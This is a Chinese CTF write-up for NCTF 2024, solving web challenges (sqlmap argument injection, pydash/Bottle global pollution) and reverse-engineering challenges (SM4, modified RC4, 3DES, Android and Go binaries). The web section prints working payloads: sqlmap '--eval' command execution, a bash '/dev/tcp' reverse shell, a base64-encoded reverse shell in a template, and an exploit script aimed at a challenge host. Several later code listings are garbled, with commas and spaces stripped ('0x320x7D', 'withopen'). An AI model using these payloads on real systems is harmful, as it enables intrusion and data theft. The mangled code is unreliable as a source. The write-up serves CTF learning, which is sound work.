NCTF wp

image-20250327141349044

主力re和pwn,这次pwn一道没出,因为不会socket,后面再学吧

Web[复现]

sqlmap-master

sql注入

1
2
3
/proc/self/environ 文件

/proc/self/environ 文件存储了当前进程的环境变量列表。环境变量是一些键值对,用于传递配置信息给进程。每个变量之间用空字符(NULL)分隔,变量名用大写字母表示,其值用小写字母表示。可以通过以下命令查看当前进程的环境变量:

由于是sqlmap,可以使用哪些参数看看能够读出来

【网安神器篇】——Sqlmap详解_sqlmap读取文件-CSDN博客

1
http://localhost -c /proc/self/environ

nctf{d92e168f-9936-4351-b72a-b4cc3dfe22d4}

-c # 从INI配置文件中读取选项

sqlmap基础知识(二)_sqlmap读文件-CSDN博客

赛后没想到还能这样

1
https://localhost --eval __import__('os').system('env')

image-20250327140310608

ez_dash&ez_dash_revenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
'''
Hints: Flag在环境变量中
'''


from typing import Optional


import pydash
import bottle



__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__',
'__code__', '__defaults__', '__delattr__', '__dict__',
'__dir__', '__doc__', '__eq__', '__format__',
'__ge__', '__get__', '__getattribute__',
'__gt__', '__hash__', '__init__', '__init_subclass__',
'__kwdefaults__', '__le__', '__lt__', '__module__',
'__name__', '__ne__', '__new__', '__qualname__',
'__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
'__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
"Optional","func","render",
]
__forbidden_name__=[
"bottle"
]
__forbidden_name__.extend(dir(globals()["__builtins__"]))

def setval(name:str, path:str, value:str)-> Optional[bool]:
if name.find("__")>=0: return False
for word in __forbidden_name__:
if name==word:
return False
for word in __forbidden_path__:
if path.find(word)>=0: return False
obj=globals()[name]
try:
pydash.set_(obj,path,value)
except:
return False
return True

@bottle.post('/setValue')
def set_value():
name = bottle.request.query.get('name')
path=bottle.request.json.get('path')
if not isinstance(path,str):
return "no"
if len(name)>6 or len(path)>32:
return "no"
value=bottle.request.json.get('value')
return "yes" if setval(name, path, value) else "no"

@bottle.get('/render')
def render_template():
path=bottle.request.query.get('path')
if path.find("{")>=0 or path.find("}")>=0 or path.find(".")>=0:
return "Hacker"
return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)

可以通过反弹shell

1
bash -c "bash -i >& /dev/tcp/xxx/xxx 0>&1"
1
2
3
4
<% from os import system
   from base64 import b64encode, b64decode
 system(b64decode('YmFzaCAtYyAiYmFzaCAtaSA+JiAvZU4LjcyLzExNDUxIDA+JjEi'))
%>

参考2025 03.22 NCTF wp - LaoGong - 飞书云文档

1
2
3
4
5
6
7
url = "http://39.106.16.204:14964/"
a1 = requests.post(url+"setValue?name=pydash",json={"path": "helpers.RESTRICTED_KEYS","value":[]})
print(a1.text)
a2 = requests.post(url+"setValue?name=setval",json={"path": "__globals__.bottle.TEMPLATE_PATH","value":["/proc/self"]})
print(a2.text)
a3 = requests.get(url+"/render?path=environ")
print(a3.text)

NCTF2024 Web方向题解-CSDN博客

  1. 解除 pydash 限制
    • 路径helpers.RESTRICTED_KEYS
    • 操作:将pydash库中的RESTRICTED_KEYS设置为空列表。默认情况下,该列表包含如__proto__等敏感属性,清空后允许修改这些属性。
  2. 篡改模板路径
    • 目标bottle.TEMPLATE_PATH
    • 方法:通过setval函数的__globals__属性访问到 Bottle 模块,修改其TEMPLATE_PATH["/proc/self"],使 Bottle 从该目录查找模板文件。
  3. 读取环境变量
    • 文件路径/proc/self/environ
    • 利用:访问/render?path=environ,Bottle 尝试渲染/proc/self/environ作为模板,输出环境变量内容,其中包含 Flag。

RE

SafeProgram

看了下代码,动调试试,结果发现了反调试

image-20250323141625776

看看导出表

image-20250323141818163

顺带学了下怎么去掉TLS反调试,就是用工具改了某处为0,但是这里做错了,TLS中还藏着对程序逻辑的处理,不能直接跳过

TLS 回调函数(TlsCallback_0):作为回调函数,在程序或线程初始化阶段被系统自动调用。

调用 sub_140001410() 注册两个异常处理函数。调用 sub_140001920 进行初始化,随后调用 sub_140001570 生成 CRC32 表。

异常处理注册(sub_140001410)

  • 功能:使用 Windows API AddVectoredExceptionHandler 注册两个自定义异常处理程序。
  • 参数:第一个参数为 1,表示处理器在所有其他处理器之前被调用(VECTORED_EXCEPTION_FIRST)。
  • 返回:检查两个处理器是否均注册成功,返回布尔值。

CRC32 表生成(sub_140001570)

功能:预计算 CRC32 算法的 256 项查找表(查表法优化)。使用标准 CRC32 多项式 0xEDB88320(IEEE 802.3 标准的反转多项式)。结果存入全局数组 dword_14002ADA0,供后续 CRC 计算快速查找。预先生成 CRC32 表用于高效校验

TLS1中的 sub_140001070功能:基于 CRC32 算法 计算当前程序模块(自身)的校验和。第⼆个对代码段扫描并且查表计算CRC,和注册表保存的 checksum ⽐对,不⼀致则退出程序。

image-20250325131957046

除0时会调用

image-20250325132021173

第一个得nop,不然会exit

image-20250325151125678

跟进Handler看下就知道了

调试下看看

image-20250325151615018

这里我参考了NCTF2024 | Liv’s blog Liv师傅的wp,其中用了ScyllaHide,我找半天在IDA7.5上没搞起来,后来查到了IDA9.0上的ScyllaHide,刚好也是这个师傅改的,贴一下地址TKazer/ScyllaHide-For-IDA9.0RC: Supporting for IDA9.0. Forked from https://bitbucket.org/NtQuery/scyllahide

image-20250325151906168

这里有个除0啊

查看下

image-20250325152059339

v4

image-20250325152112954

同时提出处理过后的s盒

image-20250325152221465

image-20250323162228730

继续审计代码,这里的大多数信息都有了关键是19D0这个函数,审计下应该是个sm4代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
unsigned __int64 __fastcall sub_1400019D0(__int64 a1, __int64 a2, __int64 a3){
memset(v14, 0, sizeof(v14));
memset(v13, 0, sizeof(v13));
result = (unsigned __int64)v12;
for ( i = 0; i < 4; ++i ) {
v10 = *(_DWORD *)(a1 + 4i64 * i);
v13[i] = (BYTE1(v10) << 16) | ((unsigned __int8)v10 << 24);
v13[i] |= HIBYTE(v10) | (BYTE2(v10) << 8);
v14[i] = dword_14002A028[i] ^ ((unsigned __int8)HIBYTE(*(_DWORD *)(a2 + 4i64 * i)) | ((unsigned __int8)BYTE2(*(_DWORD *)(a2 + 4i64 * i)) << 8) | ((unsigned __int8)BYTE1(*(_DWORD *)(a2 + 4i64 * i)) << 16) | ((unsigned __int8)*(_DWORD *)(a2 + 4i64 * i) << 24));
result = (unsigned int)(i + 1);
}
for ( j = 0; j < 32; ++j ) {
v12[0] = dword_14002A040[j] ^ v14[j + 3] ^ v14[j + 2] ^ v14[j + 1];
for ( k = 0; k < 4; ++k )
*((_BYTE *)v12 + k) = byte_14002A0D0[*((unsigned __int8 *)v12 + k)];
v14[j + 4] = (((unsigned int)v12[0] >> 9) | (v12[0] << 23)) ^ (((unsigned int)v12[0] >> 19) | (v12[0] << 13)) ^ v12[0] ^ v14[j];
result = (unsigned int)(j + 1);
}
for ( m = 0; m < 32; ++m ) {
v12[0] = v14[m + 4] ^ v13[m + 3] ^ v13[m + 2] ^ v13[m + 1];
for ( n = 0; n < 4; ++n )
*((_BYTE *)v12 + n) = byte_14002A0D0[*((unsigned __int8 *)v12 + n)];
v13[m + 4] = (((unsigned int)v12[0] >> 8) | (v12[0] << 24)) ^ (((unsigned int)v12[0] >> 14) | (v12[0] << 18)) ^ (((unsigned int)v12[0] >> 22) | (v12[0] << 10)) ^ (((unsigned int)v12[0] >> 30) | (4 * v12[0])) ^ v12[0] ^ v13[m];
result = (unsigned int)(m + 1);
}
for ( ii = 0; ii < 4; ++ii ) {
v11 = v13[35 - ii];
*(_DWORD *)(a3 + 4i64 * ii) = (BYTE1(v11) << 16) | ((unsigned __int8)v11 << 24);
*(_DWORD *)(a3 + 4i64 * ii) |= HIBYTE(v11) | (BYTE2(v11) << 8);
result = (unsigned int)(ii + 1);
}
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
S_BOX = [
0xD1, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x5, 0x2B, 0x67, 0x9A,
0x76, 0x2A, 0xBE, 0x4, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x6, 0x99, 0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF,
0x98, 0x7A, 0x33, 0x54, 0xB, 0x43, 0xED, 0xCF, 0xAC, 0x62, 0xE4, 0xB3, 0x17, 0xA9, 0x1C, 0x8, 0xE8, 0x95, 0x80,
0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6, 0x47, 0x7, 0xA7, 0x4F, 0xF3, 0x73, 0x71, 0xBA, 0x83, 0x59, 0x3C, 0x19,
0xE6, 0x85, 0xD6, 0xA8, 0x68, 0x6B, 0x81, 0xB2, 0xFC, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0xF, 0x4B, 0x70, 0x56, 0x9D,
0x35, 0x1E, 0x24, 0xE, 0x78, 0x63, 0x58, 0x9F, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x1, 0x21, 0xC9, 0x87, 0xD4, 0x0, 0x46,
0x57, 0x5E, 0xD3, 0x27, 0x52, 0x4C, 0x36, 0x2, 0xE7, 0xA0, 0xC4, 0xC8, 0x9E, 0xEA, 0xBF, 0x8A, 0xD2, 0x40, 0xC7,
0x38, 0xB5, 0xA3, 0xF7, 0xF2, 0xCE, 0xF9, 0x61, 0x15, 0xA1, 0xE0, 0xAE, 0x5D, 0xA4, 0x9B, 0x34, 0x1A, 0x55, 0xAD,
0x93, 0x32, 0x30, 0xF5, 0x8C, 0xB1, 0xE3, 0x1D, 0xF6, 0xE2, 0x2E, 0x82, 0x66, 0xCA, 0x60, 0xC0, 0x29, 0x23, 0xAB,
0xD, 0x53, 0x4E, 0x6F, 0xD5, 0xDB, 0x37, 0x45, 0xDE, 0xFD, 0x8E, 0x2F, 0x3, 0xFF, 0x6A, 0x72, 0x6D, 0x6C, 0x5B,
0x51, 0x8D, 0x1B, 0xAF, 0x92, 0xBB, 0xDD, 0xBC, 0x7F, 0x11, 0xD9, 0x5C, 0x41, 0x1F, 0x10, 0x5A, 0xD8, 0xA, 0xC1,
0x31, 0x88, 0xA5, 0xCD, 0x7B, 0xBD, 0x2D, 0x74, 0xD0, 0x12, 0xB8, 0xE5, 0xB4, 0xB0, 0x89, 0x69, 0x97, 0x4A, 0xC,
0x96, 0x77, 0x7E, 0x65, 0xB9, 0xF1, 0x9, 0xC5, 0x6E, 0xC6, 0x84, 0x18, 0xF0, 0x7D, 0xEC, 0x3A, 0xDC, 0x4D, 0x20,
0x79, 0xEE, 0x5F, 0x3E, 0xD7, 0xCB, 0x39, 0x48
]


FK = [0xa3b1bac6, 0x56aa3350, 0x677d9197, 0xb27022dc]
CK = [
0x00070e15, 0x1c232a31, 0x383f464d, 0x545b6269,
0x70777e85, 0x8c939aa1, 0xa8afb6bd, 0xc4cbd2d9,
0xe0e7eef5, 0xfc030a11, 0x181f262d, 0x343b4249,
0x50575e65, 0x6c737a81, 0x888f969d, 0xa4abb2b9,
0xc0c7ced5, 0xdce3eaf1, 0xf8ff060d, 0x141b2229,
0x30373e45, 0x4c535a61, 0x686f767d, 0x848b9299,
0xa0a7aeb5, 0xbcc3cad1, 0xd8dfe6ed, 0xf4fb0209,
0x10171e25, 0x2c333a41, 0x484f565d, 0x646b7279
]


def wd_to_byte(wd, bys):
bys.extend([(wd >> i) & 0xff for i in range(24, -1, -8)])


def bys_to_wd(bys):
ret = 0
for i in range(4):
bits = 24 - i * 8
ret |= (bys[i] << bits)
return ret


def s_box(wd):
ret = []
for i in range(0, 4):
byte = (wd >> (24 - i * 8)) & 0xff
row = byte >> 4
col = byte & 0x0f
index = (row * 16 + col)
ret.append(S_BOX[index])
return bys_to_wd(ret)


def rotate_left(wd, bit):
return (wd << bit & 0xffffffff) | (wd >> (32 - bit))


def Linear_transformation(wd):
return wd ^ rotate_left(wd, 2) ^ rotate_left(wd, 10) ^ rotate_left(wd, 18) ^ rotate_left(wd, 24)


def Tx(k1, k2, k3, ck):
xor = k1 ^ k2 ^ k3 ^ ck
t = s_box(xor)
return t ^ rotate_left(t, 13) ^ rotate_left(t, 23)


def T(x1, x2, x3, rk):
t = x1 ^ x2 ^ x3 ^ rk
t = s_box(t)
return t ^ rotate_left(t, 2) ^ rotate_left(t, 10) ^ rotate_left(t, 18) ^ rotate_left(t, 24)


def key_extend(main_key):
MK = [(main_key >> (128 - (i + 1) * 32)) & 0xffffffff for i in range(4)]
keys = [FK[i] ^ MK[i] for i in range(4)]
RK = []
for i in range(32):
t = Tx(keys[i + 1], keys[i + 2], keys[i + 3], CK[i])
k = keys[i] ^ t
keys.append(k)
RK.append(k)
return RK


def R(x0, x1, x2, x3):
x0 &= 0xffffffff
x1 &= 0xffffffff
x2 &= 0xffffffff
x3 &= 0xffffffff
s = f"{x3:08x}{x2:08x}{x1:08x}{x0:08x}"
return s


def encode(plaintext, rk):
X = [plaintext >> (128 - (i + 1) * 32) & 0xffffffff for i in range(4)]
for i in range(32):
t = T(X[1], X[2], X[3], rk[i])
c = (t ^ X[0])
X = X[1:] + [c]
ciphertext = R(X[0], X[1], X[2], X[3])
return ciphertext


def decode(ciphertext, rk):
ciphertext = int(ciphertext, 16)
X = [ciphertext >> (128 - (i + 1) * 32) & 0xffffffff for i in range(4)]
for i in range(32):
t = T(X[1], X[2], X[3], rk[31 - i])
c = (t ^ X[0])
X = X[1:] + [c]
m = R(X[0], X[1], X[2], X[3])
return m


if __name__ == '__main__':
key_str = 'NCTF24nctfNCTF24'
main_key = int.from_bytes(key_str.encode('utf-8'), byteorder='big')
rk = key_extend(main_key)

enc = bytes([
0xFB, 0x97, 0x3C, 0x3B, 0xF1, 0x99, 0x12, 0xDF, 0x13, 0x30,
0xF7, 0xD8, 0x7F, 0xEB, 0xA0, 0x6C, 0x14, 0x5B, 0xA6, 0x2A,
0xA8, 0x05, 0xA5, 0xF3, 0x76, 0xBE, 0xC9, 0x01, 0xF9, 0x36,
0x7B, 0x46
])

# Split ciphertext into two 16-byte blocks
block1 = enc[:16].hex()
block2 = enc[16:].hex()

# Decrypt each block
part1 = decode(block1, rk)
part2 = decode(block2, rk)

# Combine and decode to get flag
combined = bytes.fromhex(part1 + part2).decode('utf-8', errors='replace')
print(f"NCTF{{{combined}}}")

ezDOS

参考2025 03.22 NCTF wp - LaoGong - 飞书云文档

先要去除花指令,花指令都是无意义的指令,比如要跳到BF,但是下面又有个跳到BF+1。由test ax ax我们已经知道肯定不会执行jz,因此这样的就是花指令,直接nop掉多处类似的花指令即可

image-20250326111306355

问了下deepseek,说是一个rc4算法

image-20250326111456873

在看看程序逻辑

  1. mov ah, 0Ah:将 0Ah(十进制的 10)存入 AH 寄存器。这是 DOS 功能号,用于缓冲输入。
  2. lea dx, unk_10168:将 unk_10168 的地址加载到 DX 寄存器。这通常是输入缓冲区的地址。
  3. int 21h:调用 DOS 的 0Ah 功能,读取用户输入的字符串到指定缓冲区。
  4. call sub_10630:调用子程序 sub_10630,可能是处理输入数据,比如加密或校验。
  5. lea bx, unk_10168:将缓冲区的地址加载到 BX 寄存器。
  6. inc bx:BX 加 1,可能指向缓冲区的第二个字节(因为 DOS 缓冲区的第一个字节是最大长度,第二个是实际输入长度)。
  7. cmp byte ptr [bx], 38:比较 BX 指向的字节是否为 38(十进制 38 或十六进制 26h,即 ‘&’ 字符)。

读取输入到unk+10168

image-20250326113023829

生成S盒到si,sub_10670是混淆代码

image-20250326113324790

这段汇编代码是 RC4 加密算法的密钥调度阶段(KSA) 的核心部分

mov al, [bx]的al存放密钥

加密

image-20250326113631433

比较:

image-20250326113745750

image-20250326113850983

1
2
3
4
5
6
7
8
9
10
11
12
unsigned char key[] =
{
0x4E, 0x43, 0x54, 0x66, 0x32, 0x30, 0x32, 0x34, 0x6E, 0x63,
0x74, 0x46
};
unsigned char enc[] =
{
0x26, 0x7C, 0x3E, 0x0D, 0x3C, 0x88, 0x54, 0x83, 0x0E, 0x3B,
0xB8, 0x99, 0x1B, 0x9B, 0xE5, 0x23, 0x43, 0xC5, 0x80, 0x45,
0x5B, 0x9A, 0x29, 0x24, 0x38, 0xA9, 0x5C, 0xCB, 0x7A, 0xE5,
0x93, 0x73, 0x0E, 0x70, 0x6D, 0x7C, 0x31, 0x2B, 0x8C
};

直接套解密代码发现直接乱码了,中间可能有改动,仔细看看汇编

1
2
3
4
loc_104EB:
push di ; 将DI值压入堆栈(初始为0,1,2,...,255)
inc di ; DI自增
loop loc_104EB ; 循环256次
1
2
3
4
5
6
7
8
loc_104EF:
pop bx ;pop出来时,是255,254....2,1,0
call sub_10670
mov bx, si
mov [si+0], bl;给了s[i]
inc si
cmp si, 100h
jnb short loc_10504

因此s盒跟一般的rc4不一样

我们关注下面s盒的处理中的两个代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
loc_1050D:
mov dl, [si+0] ; DL = S[SI](S-Box 中的值)
add di, dx
mov ax, si ; AX = SI
div cl ; AX = SI / CL, AH = SI % CL
mov al, ah ; AL = SI % CL
xor ah, ah ; AH = 0
mov bx, 135h ; BX 指向密钥
add bx, ax ; BX += (SI % CL)
mov al, [bx] ; AL = 密钥或常量值
push ax ; 保存 AL
call sub_106D0
shl ax, 1
shl ax, 1
shl ax, 1
shl ax, 1
shl ax, 1
shl ax, 1
mov dx, ax ; DX = 调整后的高 6 位
pop ax ; 恢复原始 AL
push dx ; 保存 DX
call sub_106A0
shr ax, 1
shr ax, 1
shr ax, 1
shr ax, 1
shr ax, 1
shr ax, 1
pop dx ; 恢复 DX
or al, dl ; 合并ax << 3 | ax >> 5和 DL(S[i])
add di, ax ; DI = (DI + 合并值) mod 256
and di, 0FFh ; 确保 DI 在 0-255 范围内
mov al, [si+0] ; AL = S[SI]
mov dl, [di+0] ; DL = S[DI]
xchg al, dl ; 交换 S[SI] 和 S[DI]
mov [di+0], dl
mov [si+0], al
inc si ; SI += 1
cmp si, 100h ; 循环直到 SI = 256
jb short loc_1050D

整个过程经过一系列位操作、算术运算,看起来像是为了“混淆”代码,其实结果是一个常数 6。将返回地址+6

因为pop dx我们又把dx+6放回去,也就是跳到了返回地址+6的地方,如下图

image-20250326154254906

那就是左移3右移5的逻辑

加密循环:

image-20250326160308783

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
def f(x):
return (x << 3) | (x >> (8 - 3))

def build_initial_S():
return [255 - i for i in range(256)]

def key_scheduling(S, key):
key_len = len(key)
j = 0
for i in range(256):
k = key[i % key_len]
j = (j + S[i] + f(k)) & 0xFF
S[i], S[j] = S[j], S[i]
return S

def decrypt(S, ciphertext):
plaintext = bytearray()
i = 0
j = 0
for c in ciphertext:
i = (i + 1) & 0xff
j = (j + S[i]) & 0xff
S[i], S[j] = S[j], S[i]
idx = (S[i] + S[j]) & 0xFF
keystream = (S[idx] + 1)
plaintext.append(c ^ keystream)
return bytes(plaintext)


if __name__ == '__main__':
key = bytes([
0x4E, 0x43, 0x54, 0x66, 0x32, 0x30, 0x32, 0x34,
0x6E, 0x63, 0x74, 0x46
])
enc = bytes([
0x7C, 0x3E, 0x0D, 0x3C, 0x88, 0x54, 0x83, 0x0E, 0x3B, 0xB8,
0x99, 0x1B, 0x9B, 0xE5, 0x23, 0x43, 0xC5, 0x80, 0x45, 0x5B,
0x9A, 0x29, 0x24, 0x38, 0xA9, 0x5C, 0xCB, 0x7A, 0xE5, 0x93,
0x73, 0x0E, 0x70, 0x6D, 0x7C, 0x31, 0x2B, 0x8C
])

S = build_initial_S()
S = key_scheduling(S, key)
plaintext = decrypt(S, bytearray(enc))
print("解密后的明文:", plaintext.decode('utf-8'))

一定要好好理解汇编,才能搓出来这个代码…

有第二种方法,调试

参考DOSbox的安装及其运行和基本命令的使用(内附下载链接) - Mast丶轩 - 博客园

image-20250326170024980

fa是xor逻辑的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include<iostream>
usingnamespace std;
unsignedchar xor_key[] = { 
0x320x7D0x590x7a0xF30x0d0xb30x7B0x640xbc0xeb0x280xc40xa40x50,
0x300xa00xed0x270x6a0xe30x760x690x0c0xda0x280xf80x080xba0xa6,
0x170x3e0x120x590x450x060x4e0xf1
};
//NCTF{Y0u_ar3_Assemb1y_M4st3r_5d0b497e}
unsignedchar cipher[] = { 0x7C0x3E0x0D0x3C0x880x540x830x0E0x3B
0xB80x990x1B0x9B0xE50x230x430xC50x800x45
0x5B0x9A0x290x240x380xA90x5C0xCB0x7A0xE5
0x930x730x0E0x700x6D0x7C0x310x2B0x8C}; 
int main()
{
        unsignedchar a;
        for(int i = 0; i < sizeof(xor_key); i++) {
                a = cipher[i] ^ xor_key[i];
                printf("%x ", a);
        }
}

参考0psu3 Team

x1Login

发现DecStr跟进到simple.so中发现一个换表Base64,再看看下面逻辑

image-20250327163954972

这一系列下来其实就是异或n8

image-20250327162627055

得到

1
2
3
4
5
6
7
8
9
10
'Exv3nhr5BNW0axn3aNz/DNv9C3q0wxj/Exe='
com.nctf.simplelogin.Check
'zM1GzM4='
check
'agDYB3bJ'
native
'ygvUF2vHFgbPiN9J'
libsimple.so
"tMC2"
Md5

image-20250327164547490

看看native

image-20250327164746119

apk的dex没有check函数的实现,这里调用Secure.loadDex返回的字节加载了dex:

image-20250327164317143

最终定位到1E30

image-20250327165410272

问了Deepseek:这类似于 3DES-EDE 模式(加密 - 解密 - 加密),但使用自定义算法。

xmmword_1804和unk_1814共24字节数据就是被加密的flag

到这不会了,然后想起之前的loaddex,开始找dex

image-20250327170909371

这个好像跟assest有关发现了一个so,反编译发现是空的

image-20250327170957648

010打开发现是套了一个ELF的dex

image-20250327171055869

去掉前面的保存为Dex,jadx打开

image-20250327171157482

先有个md5,加密出来为7d53ecd36a43d3d237e7dd633dcf8497,然后估计就是那个3des了

这里还涉及大小端序的转化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import binascii

def big_small_end_convert(data):
return binascii.hexlify(binascii.unhexlify(data)[::-1])

if __name__ == '__main__':
di1 = b'7d53ecd36a43d3d2'
di2 = b'37e7dd633dcf8497'
do1 = big_small_end_convert(di1)
do2 = big_small_end_convert(di2)
print(do1)
print(do2)
# b'd2d3436ad3ec537d'
# b'9784cf3d63dde737'

先标记一个16进制转字符数组的网站在线16进制字符串转bytes - 在线工具

8b a5 84 b8 86 ec 9e 40 bb b8 d3 1a e2 64 8a 7e 52 3e 45 46 12 fa 4b df

d2 d3 43 6a d3 ec 53 7d 97 84 cf 3d 63 dd e7 37

image-20250327175349239

utools的本地版本chef不好用,用了联网的,然后倒置就行了

1
NCTF{X1c@dM1n1$t_SafePWD~5y$x?YM+5U05Gm6=}

其他方法参考2025 03.22 NCTF wp - LaoGong - 飞书云文档

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include "load_elf.h"
#include "logger.h"
#include "breakpoint.h"

int main() {
const char* path = "../libnative.so";
void* base = load_elf(path);
unsigned long long (*encrypt)(unsigned long long, unsigned long long) = get_symbol_by_offset(base, 0x2644);
unsigned long long (*decrypt)(unsigned long long, unsigned long long) = get_symbol_by_offset(base, 0x2dc4);

const char* key = "\x7d\x53\xec\xd3\x6a\x43\xd3\xd2\x37\xe7\xdd\x63\x3d\xcf\x84\x97";
char data[] = "\x40\x9e\xec\x86\xb8\x84\xa5\x8b\x7e\x8a\x64\xe2\x1a\xd3\xb8\xbb\xdf\x4b\xfa\x12\x46\x45\x3e\x52";

unsigned long long k1 = *(unsigned long long*) key;
unsigned long long k2 = *(unsigned long long*) (key + 8);

for (int i = 0; i < 3; i++) {
unsigned long long v = *(unsigned long long*) (data + 8 * i);
v = decrypt(v, k1);
v = encrypt(v, k2);
v = decrypt(v, k1);
*(unsigned long long*) (data + 8 * i) = v;
}
puts(data);

puts("done.");
return 0;
}
// SafePWD~5y$x?YM+5U05Gm6=

0.0 还能这么搞学习到了,省的大小端转化了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from unicorn import *
from unicorn.arm64_const import *
from elftools.elf.elffile import ELFFile
from pwn import*

# 读取 ELF 文件
elf_file = './libnative.so'

emu = Uc(UC_ARCH_ARM64, UC_MODE_ARM)
emu.mem_map(00x100000, UC_PROT_ALL)  # 分配内存

STACK_PTR = 0x7F0000

emu.mem_map(STACK_PTR - 0x10000x10000, UC_PROT_ALL)  # 分配内存
emu.reg_write(UC_ARM64_REG_SP, STACK_PTR)

withopen(elf_file, 'rb'as f:
    elf = ELFFile(f)
    
    load_segments = [x for x in elf.iter_segments() if x.header.p_type == 'PT_LOAD']

    for segment in load_segments:
        prot = UC_PROT_ALL
        #emu.mem_map(segment.header.p_vaddr, segment.header.p_memsz, prot)
        emu.mem_write(segment.header.p_vaddr, segment.data())
    


defhook_addr(mu, address, size, user_data):
    print(hex(address))


defcall_enc(input, key):
    enc_addr = 0x2644
   #print(hex(u64(input)))
    emu.reg_write(UC_ARM64_REG_X0, u64(input))
    emu.reg_write(UC_ARM64_REG_X1, u64(key))

    emu.emu_start(enc_addr, 0x2dbc)

    res = emu.reg_read(UC_ARM64_REG_X0)
    return p64(res)

defcall_dec(input, key):
    enc_addr = 0x2DC4
   #print(hex(u64(input)))
    emu.reg_write(UC_ARM64_REG_X0, u64(input))
    emu.reg_write(UC_ARM64_REG_X1, u64(key))

    emu.emu_start(enc_addr, 0x353C)

    res = emu.reg_read(UC_ARM64_REG_X0)
    return p64(res)
    #print(hex(res))


cipher = [  
0x400x9E0xEC0x860xB80x840xA50x8B0x7E0x8A
0x640xE20x1A0xD30xB80xBB0xDF0x4B0xFA0x12
0x460x450x3E0x52, ]
cipher = bytes(cipher)
print("Starting emulation...")
for i inrange(3):
    # 开始仿真
    cur_cipher = cipher[i * 8: i * 8 + 8]


    key1 = b'\x7d\x53\xec\xd3\x6a\x43\xd3\xd2'
    key2 = b'\x37\xe7\xdd\x63\x3d\xcf\x84\x97'
    v0 = call_dec(cur_cipher, key1)
    v1 = call_enc(v0, key2)
    res = call_dec(v1, key1)
    print(res.decode(), end="")

这个只能在linux下好像

其他方法:

Frida

暂时还没学会,等会复现

gogo

image-20250327181119325

deepseek:

  1. 通道创建:创建三个通道:v83v81uint8 类型无缓冲通道),v85(布尔类型,缓冲大小为 2)。这些通道用于协程间通信。
  2. 输入提示与读取
    • 使用 fmt_Fprintln 输出提示信息,要求用户输入。通过 fmt_Fscanf 读取用户输入的字符串到 p_string 变量中,格式字符串复杂,可能接受多种输入格式。
  3. 输入验证
    • 检查输入字符串长度是否为 40 字节。若不符合,输出错误信息并结束。
    • 若长度为 40,将字符串分为前 20 字节和后 20 字节,分别复制到两个协程虚拟机(main_coroutVM)的内存中。
  4. 启动协程处理:创建两个协程执行 main_main_gowrap1main_main_gowrap2 函数,每个协程处理 20 字节的数据片段。协程通过通道 v83v81 接收数据,处理后通过布尔通道 v85 返回结果。
  5. 数据发送:主函数循环发送数据块(每次 4 字节)到通道 v83,触发协程处理逻辑。
  6. 结果收集与输出:从通道 v85 接收两个布尔结果,需均为 true 才判定成功。

好像涉及vm逆向,看变量名,建议使用高版本IDA

在v25看到了20个a,好像确实分开来了

给刚才的v25下硬件断点

image-20250327201344478

image-20250327201828746

image-20250327201910933

……

发现

image-20250327202758699

在 IDA Pro 中看到的reg通常指寄存器(Registers),这是 CPU 内部用于临时存储和处理数据的小型存储单元。以下从不同角度详细解释 IDA 中与寄存器相关的内容:

image-20250327203304362

image-20250327203417355

9e3779b9有点眼熟跟tea有关

继续动调发现两处(main_ret中)

image-20250328093933422

enc1 = [0x5D,0x45,0xD5,0xB9,0x8C,0x95,0x9C,0x38,0x3B,0xB1,0x3E,0x1E,0x5F,0xC8,0xE8,0xBB,0x64,0x38,0x48,0x69]

enc2 = [0xDE,0x81,0xD8,0xAD,0xC2,0xC4,0xA6,0x32,0x1C,0xAB,0x61,0x3E,0xCB,0xFF,0xEF,0xF1,0x27,0x30,0x7A,0x16]

应该是分成两块tea进行加密,不知道有没有魔改,因此还要把中间的运行dump出来

参考NCTF2024 | Liv’s blog和0psu3 Team

LDRI:

1
2
3
4
5
rax=get_reg_value('rax')
rbx=get_reg_value('rbx')
addr=rax+rbx*4
add1=getwidedword(addr)
print('Call LDRI:'+'{:x}'.format(add_1))

image-20250328095606034

xor:

1
2
3
4
5
6
edx=get_reg_value('edx')
rax=get_reg_value('rax')
